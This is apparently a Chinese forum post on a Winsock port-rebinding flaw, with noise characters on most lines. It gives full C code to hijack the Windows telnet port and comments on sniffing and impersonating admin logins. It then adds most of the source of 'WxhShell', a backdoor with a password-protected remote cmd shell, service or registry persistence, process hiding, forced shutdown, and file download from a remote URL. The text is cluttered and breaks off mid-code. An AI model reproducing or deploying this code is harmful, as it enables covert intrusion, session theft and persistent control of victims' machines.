在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!N2 n@bo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tw^.(m5d "MKsSty saddr.sin_family = AF_INET;
Vam8NnZ|r x[<#mt saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a[OLS+zf!P kT3;%D^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rAi!'vIE |Q;1;QXd 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
U]$3NIe hdb4E|'A 这意味着什么?意味着可以进行如下的攻击:
Puh&F< B #{1fb%L{i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
'_oWpzpe jwhc;y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
x5W@zqj Wf$P+i* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_3Q8R} \" =@uqar2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\G]vTK3 yD&UH_ 1g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>R6>*|~S y"0!7^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ud,_^Ul Je~Ybh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
71yf+xL w8AHs/'r #include
>9]i#So^ #include
Q pbzx/2h #include
-u'BK@; #include
k<NEauQ DWORD WINAPI ClientThread(LPVOID lpParam);
-jsk-, int main()
o4pe>hn {
V\o&{7! WORD wVersionRequested;
y{\K:
DWORD ret;
0N G<uZ WSADATA wsaData;
HOAgRhzE BOOL val;
_"%-=^_ SOCKADDR_IN saddr;
z@em1W0?Z SOCKADDR_IN scaddr;
%g*AGu` int err;
4ky@rcD 1 SOCKET s;
pO_L,~< SOCKET sc;
H-.8{8 int caddsize;
S+(-k0 HANDLE mt;
j5>3Td. DWORD tid;
$]yHk
wVersionRequested = MAKEWORD( 2, 2 );
>w"k:O17
err = WSAStartup( wVersionRequested, &wsaData );
^h@1t FF if ( err != 0 ) {
Jk!*j printf("error!WSAStartup failed!\n");
]RJcY1 return -1;
Xm2p<Xu8h }
!
uyC$8V*l saddr.sin_family = AF_INET;
Q7$K,7flf; 7R=cxD& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.3.oan*i IaLCWvHX saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)!&7X L[ saddr.sin_port = htons(23);
JW4~Qwx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]dKLzW:l {
\We\*7^E printf("error!socket failed!\n");
[nam H a return -1;
ED={OZD8 }
$*`=sV!r val = TRUE;
Z'vGX,: //SO_REUSEADDR选项就是可以实现端口重绑定的
Xn'{g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
*3A[C-1~. {
Ol~jq;75 printf("error!setsockopt failed!\n");
,wN>,( return -1;
']hB_4v }
(*Jcx:rH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[BpIzhy&} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
jz%%r Q( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8)D5loS m|)Mc VV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a;Q.R {
=~i~SG/f ret=GetLastError();
\lnps f printf("error!bind failed!\n");
J<<0U; return -1;
#mNM5(o }
#l6L7u0~wC listen(s,2);
8()L }@y while(1)
tf?u ;n {
?]'Rz\70 caddsize = sizeof(scaddr);
a+TlZE>8 //接受连接请求
^;b$`*M1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9nFPGIz+ if(sc!=INVALID_SOCKET)
wr/Z)e =^3 {
R)AFaP | mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.~+I"V{yF if(mt==NULL)
ckXJ9> {
P~V0<$C printf("Thread Creat Failed!\n");
OKU9v{ break;
z:hY{/- }
7.n/W|\ }
;~Ke5os=s CloseHandle(mt);
tK3.HvD }
Q7X6OFl? closesocket(s);
X&1R6O WSACleanup();
$d4^e&s return 0;
uUUj?% }
HL;y5o? DWORD WINAPI ClientThread(LPVOID lpParam)
b]v.jgD {
n{dl-P SOCKET ss = (SOCKET)lpParam;
NGD?.^ (G SOCKET sc;
}[P1Va[! unsigned char buf[4096];
#{)=%5=c SOCKADDR_IN saddr;
n&Q{
[E long num;
.]+oE$,! DWORD val;
>y C1X|d~t DWORD ret;
b{|Ha3;w //如果是隐藏端口应用的话,可以在此处加一些判断
=,q,W$- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
KJPCO0" saddr.sin_family = AF_INET;
uFDJRQJ< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Xqt3p6 saddr.sin_port = htons(23);
>=|Dir if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e"u=4nk {
CQf!< printf("error!socket failed!\n");
C%LRb{|d return -1;
CO e"te }
[hs_HYqJ val = 100;
Az29?|e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9(>]6|XS {
3okh'P%+ ret = GetLastError();
XK[cbVu return -1;
V @A+d[ }
q@K;u[zFK if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5[.Dlpa'7 {
%xtTh]s ret = GetLastError();
)UA$."~O return -1;
{&,9Zy]"S }
X~ n=U4s}O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5)fEs.r0U {
%n-:mSus printf("error!socket connect failed!\n");
gBQK closesocket(sc);
\I J\ closesocket(ss);
-oo&8 return -1;
". jY3<bQg }
a+!#cQl while(1)
40}qf}8n t {
M>hHTa?W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?I{pv4G: //如果是嗅探内容的话,可以再此处进行内容分析和记录
ea-NqdGs;m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>Q&E4j C num = recv(ss,buf,4096,0);
CR*R'KX D% if(num>0)
&{${ Fq send(sc,buf,num,0);
YEF|SEon0 else if(num==0)
Mf)0Y~_:R# break;
23XSQHVx num = recv(sc,buf,4096,0);
dn0?#= if(num>0)
a nK7j2 send(ss,buf,num,0);
>vE1,JD)w else if(num==0)
Q+(}nz4 break;
| k"?I }
~A<1xszC closesocket(ss);
R*~<?}Rr closesocket(sc);
bp G`,[ return 0 ;
C' x?riJ/ }
['%]tWT9 rbl EyCR L~N<<8?\ ==========================================================
Dohq@+] O <eRE;8C- 下边附上一个代码,,WXhSHELL
rZ<n0w 90OSe{ ==========================================================
\tf \fa *:r@-=M3= #include "stdafx.h"
l
\~w(8g<A ~\A(xmW} #include <stdio.h>
vt0XCUnK #include <string.h>
+*"u(7AV #include <windows.h>
>r+Dl\R #include <winsock2.h>
rUjK1A{V #include <winsvc.h>
"N'tmzifh #include <urlmon.h>
] h3~>8< +92/0 #pragma comment (lib, "Ws2_32.lib")
^Glmg}>q #pragma comment (lib, "urlmon.lib")
K=x>%6W7b Pg[XIfBva #define MAX_USER 100 // 最大客户端连接数
n}?XFx!% #define BUF_SOCK 200 // sock buffer
PveY8[i #define KEY_BUFF 255 // 输入 buffer
]`%}Q r\J"|{)e #define REBOOT 0 // 重启
^|yw)N]Q/ #define SHUTDOWN 1 // 关机
7J@iJW],, }Z5f5q #define DEF_PORT 5000 // 监听端口
Ua^#.K =0,:w(Sb! #define REG_LEN 16 // 注册表键长度
HGqT"NJr #define SVC_LEN 80 // NT服务名长度
&,B\ig1Jf (V2~txMh // 从dll定义API
;&B;RUUnTO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+3]1AJa typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Bw^*6P^l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
J^tLK T B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
o^P/ -&T ? <b>2j // wxhshell配置信息
Jq0aDf
f struct WSCFG {
C3EQzr` int ws_port; // 监听端口
eXo7_# char ws_passstr[REG_LEN]; // 口令
~DYUI#x int ws_autoins; // 安装标记, 1=yes 0=no
-4du`dg char ws_regname[REG_LEN]; // 注册表键名
%M"rc4Xd char ws_svcname[REG_LEN]; // 服务名
DC?U+ char ws_svcdisp[SVC_LEN]; // 服务显示名
Ox.6]W~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
.Jk[thyU char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$ ?ayE int ws_downexe; // 下载执行标记, 1=yes 0=no
bCWSh~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
X@l>mAk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
qffVF|7 9FB k|g"U) };
f(}?Sp_
DZPg|*KT // default Wxhshell configuration
cJ[gCS struct WSCFG wscfg={DEF_PORT,
Zb> UY8 "xuhuanlingzhe",
AQAZ+g(IK 1,
y5>X0tT "Wxhshell",
0hJ,l. "Wxhshell",
WC2sRv4]3 "WxhShell Service",
&y\7pAT\ "Wrsky Windows CmdShell Service",
~kHWh8\b: "Please Input Your Password: ",
g!/O)X3 1,
-M\ae "
http://www.wrsky.com/wxhshell.exe",
lX g.` "Wxhshell.exe"
Sfl. &A( };
ngmHiI W SSCyq#dl$ // 消息定义模块
_.)6~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Y52f8qQq char *msg_ws_prompt="\n\r? for help\n\r#>";
-jXO9Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9O4\DRe5c char *msg_ws_ext="\n\rExit.";
2Q;g|*] char *msg_ws_end="\n\rQuit.";
3UgPVCT char *msg_ws_boot="\n\rReboot...";
x'iBEm char *msg_ws_poff="\n\rShutdown...";
f^]^IXzXw. char *msg_ws_down="\n\rSave to ";
2J &J
M2Zk1Z char *msg_ws_err="\n\rErr!";
-~NjZ=vPh char *msg_ws_ok="\n\rOK!";
dUc?>#TU BJP^?FUd=, char ExeFile[MAX_PATH];
FIN0~
8 int nUser = 0;
GswV/V+u HANDLE handles[MAX_USER];
z{(c-7* int OsIsNt;
SU7 erCHX ?WBA:?=$58 SERVICE_STATUS serviceStatus;
)Im3';qt SERVICE_STATUS_HANDLE hServiceStatusHandle;
;mauA#vd zwgO|Qg; // 函数声明
+![\7 int Install(void);
#XeEpdE int Uninstall(void);
RD6`b_]o int DownloadFile(char *sURL, SOCKET wsh);
seS) `@n int Boot(int flag);
KY9&Ky+2 B void HideProc(void);
~PA6e+gmL int GetOsVer(void);
/9<62F@zJ" int Wxhshell(SOCKET wsl);
*k
!zdV void TalkWithClient(void *cs);
/rzZU} 3[ int CmdShell(SOCKET sock);
=`f"8,5 int StartFromService(void);
%R-KkK<S int StartWxhshell(LPSTR lpCmdLine);
A08{]E#v> Y/`*t(/5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*:,y`!F=y VOID WINAPI NTServiceHandler( DWORD fdwControl );
x`Ik747^v vx4Jk]h+=L // 数据结构和表定义
q":0\ar&QT SERVICE_TABLE_ENTRY DispatchTable[] =
l^4! {
X.)D"+xnH {wscfg.ws_svcname, NTServiceMain},
?gl[=N V {NULL, NULL}
L<O"36R };
}NF7"tOL dH+oV` // 自我安装
XFrgnnt int Install(void)
O_[]+5.TX {
nI<Ab_EB char svExeFile[MAX_PATH];
Jsw%.< HKEY key;
Q+=D#x strcpy(svExeFile,ExeFile);
p'YNj3&u ;eiqzdP // 如果是win9x系统,修改注册表设为自启动
JTfG^Nv>K if(!OsIsNt) {
&46Ro|XE` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JB(P-Y#yyA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YfUUbV RegCloseKey(key);
FX:'38-fk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v@;!fBUt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+,A7XBn RegCloseKey(key);
[y1
x`WOk9 return 0;
X0Zr?$q
}
@g==U{k;t }
>TQnCG= }
B4ky%gF4 else {
)Qixde>]p (d$ksf_[%f // 如果是NT以上系统,安装为系统服务
["
nDw<U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<o.?T*Q9 if (schSCManager!=0)
Hpq?I-g<^ {
)\|Bghui SC_HANDLE schService = CreateService
E-XFW]I (
J<=k
[Q schSCManager,
= *~Q5F wscfg.ws_svcname,
BHEZ<K[U
wscfg.ws_svcdisp,
/8tF7Mmr SERVICE_ALL_ACCESS,
n>
O3p
~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*w_f-YoXp SERVICE_AUTO_START,
*m9,_~t SERVICE_ERROR_NORMAL,
P1Chmg svExeFile,
M}*#{UV2 NULL,
&0QtHcXpR NULL,
$jtXNE? NULL,
M~#%
[?iU NULL,
;yVT:qd
% NULL
>djTJ>dl_u );
P~>E if (schService!=0)
^&AhWm7\ {
:N826_q CloseServiceHandle(schService);
\8~P3M":c CloseServiceHandle(schSCManager);
],fu#pi=] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
PjH[8:,
strcat(svExeFile,wscfg.ws_svcname);
Koi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Myl!tXawe8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Y4\BHFq RegCloseKey(key);
y U-^w^4 return 0;
J H%^FF2 }
8>E_bxC }
YpAJ7E|7 CloseServiceHandle(schSCManager);
xm)s%"6n }
},"T,t# }
NV|[.g=lg ,Zpc vK/S return 1;
arCi$:-z@ }
:QndeUw 4@K9% // 自我卸载
W>ziA int Uninstall(void)
6,ZfC<) {
q(i^sE[y HKEY key;
2k
}:)]m z/JoUje if(!OsIsNt) {
N2?o6) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
AoaRlk-# RegDeleteValue(key,wscfg.ws_regname);
*^BW[C/CTR RegCloseKey(key);
qk;vn}auD] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L[]*vj RegDeleteValue(key,wscfg.ws_regname);
.4M8 RegCloseKey(key);
Q}KNtNCpx return 0;
b8?qYm }
(,5oqU9s@ }
Q*S|SH-cZ0 }
0W asE1t| else {
TZ`@pDi ZZkxEq+D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)'<B\P/ if (schSCManager!=0)
U~~Y'R\NU {
!]%M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
t/;@~jfr@ if (schService!=0)
Sv*@ 3x {
e&Z\hZBb if(DeleteService(schService)!=0) {
ZS&n,<a5L} CloseServiceHandle(schService);
QHt;c CloseServiceHandle(schSCManager);
-#=y return 0;
M*DF tp< }
\5+?wpH CloseServiceHandle(schService);
0jS"PH?[ }
"[` .I*WNo CloseServiceHandle(schSCManager);
l!n<.tQW }
_eB?G }
{K{&__Nk U6hT*126 return 1;
87/!u]q }
;5wmQFr CYr2~0<g // 从指定url下载文件
KY)rkfo B int DownloadFile(char *sURL, SOCKET wsh)
~,
hPi {
P;&rh U^[ HRESULT hr;
-IBf;"8f char seps[]= "/";
3pxm0| char *token;
TBfX1v|Z) char *file;
G;:D6\ char myURL[MAX_PATH];
3xhv~be char myFILE[MAX_PATH];
u3!aKXnv< j@1rVOmK strcpy(myURL,sURL);
)P6n,\ token=strtok(myURL,seps);
gTI!b while(token!=NULL)
~Rzn =>a {
9/lCW file=token;
O[p;IG` token=strtok(NULL,seps);
L lP }
PZ/ gD Cdjh/+!f GetCurrentDirectory(MAX_PATH,myFILE);
u-W6 hZ$ strcat(myFILE, "\\");
#1MEmt strcat(myFILE, file);
RP]hW{:U send(wsh,myFILE,strlen(myFILE),0);
zE{@' send(wsh,"...",3,0);
zl>l.zJ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
qp(F}@ if(hr==S_OK)
c65_E<5Z return 0;
[\o+I:,}wi else
c5uT'P" return 1;
kl.)A-6V I*e85wef }
L[zg2y Sd;/yC 8 // 系统电源模块
0\tk/<w2 int Boot(int flag)
; 6Wlu3I {
IAt;?4 HANDLE hToken;
9I>+Q& TOKEN_PRIVILEGES tkp;
aa<9%j +w Oa if(OsIsNt) {
q#W|*kL3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)}t't" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*;~u 5y2b tkp.PrivilegeCount = 1;
Z&P\}mm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%/5Wj_|p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=)gdxywoC if(flag==REBOOT) {
z0 #2?o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4"\cA:9a return 0;
0z4M/WrNt }
B;W%P.<. else {
X8N9*vy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
U%[ye0@: return 0;
,VSO;:Z }
ecR)8^1 ' }
E0EK88 else {
_{gqi$Mi if(flag==REBOOT) {
4RYH^9;>K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-5ZmIlL.S return 0;
.>P:{'' }
Ym!e}`A\F else {
X J)Y-7c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+oq<}CNr{ return 0;
QCE7VV1Rw }
Pnm$g;`P }
U V*Ruy- 6)P.wW return 1;
/F(n%8)Yq }
H:~u(N c;fLM`{* // win9x进程隐藏模块
't0M+_J void HideProc(void)
"J=Cy@SSa {
.kn2M&P>= T<?kH HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f5FEHyj| if ( hKernel != NULL )
nPqpat`E {
>eQ.y-
4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PPIO<K 3` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
M*kE |q/K FreeLibrary(hKernel);
$Th)z}A}EA }
,w H~.LHi ]a4+] vLK return;
b \ln XN }
J'$NBws 6[c|14l // 获取操作系统版本
{7z]+ h int GetOsVer(void)
hpb|| V {
tHZ"o!(S OSVERSIONINFO winfo;
MJ1qU}+] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
s(3HZ>qx; GetVersionEx(&winfo);
H>+])~# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
kwc
Cf2 return 1;
F}ATY! else
H>%AK'' return 0;
6AG]7d< }
\GxqE8 dX@ic,? // 客户端句柄模块
WcNQF!f int Wxhshell(SOCKET wsl)
?{J1Uw< {
8Sj<,+XFq SOCKET wsh;
~io. TS|r struct sockaddr_in client;
e8^/S^ =&d DWORD myID;
tJrGRlB> ]B=*p0~j^n while(nUser<MAX_USER)
=-fM2oiI: {
`@],J int nSize=sizeof(client);
SYA~I-OYc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
eTvjo(Lvx if(wsh==INVALID_SOCKET) return 1;
Sl,DZ! [1P_^.Htr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f/UU{vX( if(handles[nUser]==0)
N'WTIM3W closesocket(wsh);
ISs&1`Y else
x-CjxU3 nUser++;
M=pQx$%a }
A'z]?xQR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Kgr<OL}V J ~Dq-q6-@t return 0;
jsE8=zZs }
z@~H{glo )2?]c // 关闭 socket
C78g|n{ void CloseIt(SOCKET wsh)
DPxx9lN_rx {
B+Qf?1f closesocket(wsh);
e72Fz#<q nUser--;
e&VC}%m ExitThread(0);
l+"p$iZs }
9m$"B*&6G
)Y)_T&O // 客户端请求句柄
xn2 nh@; void TalkWithClient(void *cs)
|> STb\ {
)y*&&q
?YL JXq SOCKET wsh=(SOCKET)cs;
?m]vk|> char pwd[SVC_LEN];
SqPqL<,e char cmd[KEY_BUFF];
%lnkD5 char chr[1];
/'jX_
V_$| int i,j;
V_J0I*Qa4 NgyEy n
\ while (nUser < MAX_USER) {
^t4^gcoZ4Z _`?cBu` if(wscfg.ws_passstr) {
piM4grg
\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<?7qI8 5OT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3 k/E$wOj //ZeroMemory(pwd,KEY_BUFF);
3=uhy|f! / i=0;
qo3+=*"V while(i<SVC_LEN) {
zni9 (2H
GV+Dg // 设置超时
RQ8d1US fd_set FdRead;
JyE-c}I struct timeval TimeOut;
>JE+j= FD_ZERO(&FdRead);
Y`j$7!j FD_SET(wsh,&FdRead);
;
oa+Z:;f TimeOut.tv_sec=8;
g8MW6Y TimeOut.tv_usec=0;
<7U~0@<Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
"ZGP,=?y2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8C*@d_=q f5 bq)Pm& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
~
q-Z-MA pwd
=chr[0]; I+kAy;2
if(chr[0]==0xd || chr[0]==0xa) { 9$HKP9G
pwd=0; 3Sfd|0^
break; %RV81H9B
} ; H ;h[
i++; ]`$yY5 &W0
} Mrrpm%Y
sF!#*Y
// 如果是非法用户,关闭 socket %evb.h)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \bd KLcKI,
} 0R)x"4Ww
<h:xZtz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DK?aFSf\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aDRcVA$*
phu,&DS!
while(1) { Jd7chIK
<CuUwv
'A
ZeroMemory(cmd,KEY_BUFF); XF(D%ygeC
0`S{>G
// 自动支持客户端 telnet标准 Ps@']]4>W
j=0; Am*IC?@tq
while(j<KEY_BUFF) { 0L/chP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]\^O(BzB
cmd[j]=chr[0]; As46:<!2
if(chr[0]==0xa || chr[0]==0xd) { _ VuWo
cmd[j]=0; ;B 8Q,.t>x
break; y-E'Y=j
} v1{j1~ZR
j++; GV0@We~
} JY CMW!~
L-`V^{R]
// 下载文件 x$-kw{N
if(strstr(cmd,"http://")) { nBk&+SN
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^ELZ35=qZ
if(DownloadFile(cmd,wsh)) tsg`c;{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ra'/~^9
else qvc<_k^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k( 0; >)<i
} }MOXJb @
else { >G|RVB
kZG=C6a
switch(cmd[0]) { jm%s#`)g
4o}{3! m
// 帮助 9
3)fC
case '?': { Dc0=gq0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &fB=&jc*j
break; `\VtTS
} >niv>+!N
// 安装 BO*)cLQ
case 'i': { < +*
if(Install()) V$hL\`e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `W1uU=c
else GwF8ze+cH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v K{2
break; [w<_Wj
} !Np7mv\7
// 卸载 -sA&1n"W&5
case 'r': { VLm\P S
if(Uninstall()) QP\:wi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |v7Je?yh
else @@*x/"GJG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6V$ )ym*F
break; H4`>B>\
} 9 RDs`>v
// 显示 wxhshell 所在路径 p+~Imf-Jk
case 'p': { % WDTnEm
char svExeFile[MAX_PATH]; s~Ivq+ipr;
strcpy(svExeFile,"\n\r"); #EUT"^:d
strcat(svExeFile,ExeFile); ^&&Wv'7XQ
send(wsh,svExeFile,strlen(svExeFile),0); e^N~)Nlj
break; >8{w0hh;
} +PE-j| D
// 重启 ]a/dvj}
case 'b': { =SmU;t>t/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r rfJs
if(Boot(REBOOT)) .t[u_tBL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a^LckHPI>
else { NpGi3>5
closesocket(wsh); Pteti
ExitThread(0); 90uXJyW;d
} B ZU@W%E
break; v`mB82s
} !EKt$8W
// 关机 G.O;[(3ab
case 'd': {
yHE\Q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vp; `!+z"
if(Boot(SHUTDOWN)) lS Y "
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r&xIVFPI[
else { 8Kl&_-l{b
closesocket(wsh); C+t3a@&|
ExitThread(0); &iu]M=Yb
} #f(tzPD
break; L44|/~
}
kVZs:
// 获取shell MzB.Vvsy%9
case 's': { 0.+Eo.AX4M
CmdShell(wsh); JcYY*p
closesocket(wsh); 8aHE=x/TL
ExitThread(0); D8!
Y0
break; x(sKkm`Q
} 4_>;|2
// 退出 PoRP]Q*n
case 'x': { g(o^'f
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uPb. uG
CloseIt(wsh); v\=k[oOu
break; <.lt?!.ZH
}
1<0Z@D~F
// 离开 >ATccv
case 'q': { fV!~SX6S
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {C%f~j
closesocket(wsh); H 9?txNea
WSACleanup(); Ai`0Ud,M@
exit(1); J(,{ -d-E
break; VF~kjH2>
} c$;Cpt@-j
} gjB(Pwx
} '*K%\]
{w v{"*Q9Q
// 提示信息 [3v&j_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VexQ ]
} 22E I`}"J
} X/D%
cQ6
ca'c5*Fs
return; *3y_FTh8ra
} [-nPHmZV[
1L4v X
// shell模块句柄 X$SXDb~G
int CmdShell(SOCKET sock) #\6k_toZ
{ g:&PjKA
STARTUPINFO si; n?v$C:jLN
ZeroMemory(&si,sizeof(si)); ]ia{N
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T?{F7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m3`J9f,c/
PROCESS_INFORMATION ProcessInfo; r3~YGY
char cmdline[]="cmd"; `OWwqLoeA
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3o_@3-Y%
return 0; 2-rfFqpe
} |bk$VT4\
0He^r
&c3
// 自身启动模式 E> YE3-]
int StartFromService(void) A3Vj3em
{ JzkI!5c<j
typedef struct T{*!.+E
{ S8;5|ya
DWORD ExitStatus; q]gF[&QZ
DWORD PebBaseAddress; o_.`&Q6n
DWORD AffinityMask; bqQR";
DWORD BasePriority; BBj>ML\X
